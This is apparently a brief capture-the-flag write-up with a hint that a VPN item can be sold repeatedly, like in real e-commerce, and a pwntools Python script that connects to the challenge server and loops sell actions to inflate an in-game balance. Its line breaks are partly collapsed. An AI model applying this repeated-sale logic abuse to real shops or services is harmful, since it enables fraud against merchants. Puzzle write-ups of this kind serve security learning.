VPN can be sell multiple times.Think like real world ecommerce.```#!/usr/bin/pythonfrom pwn import *p = connect("chals20.cybercastors.com",14432)print p.recv()p.sendline("6")print p.recv()	for j in range(1,301):	p.sendline("0")	sleep(2) #used sleep coz server hanging or used trick	p.sendline("1")	a = p.recv()	if "Your money: 5000" in a:		p.sendline(str(5))		print p.recv()	else:		print a		```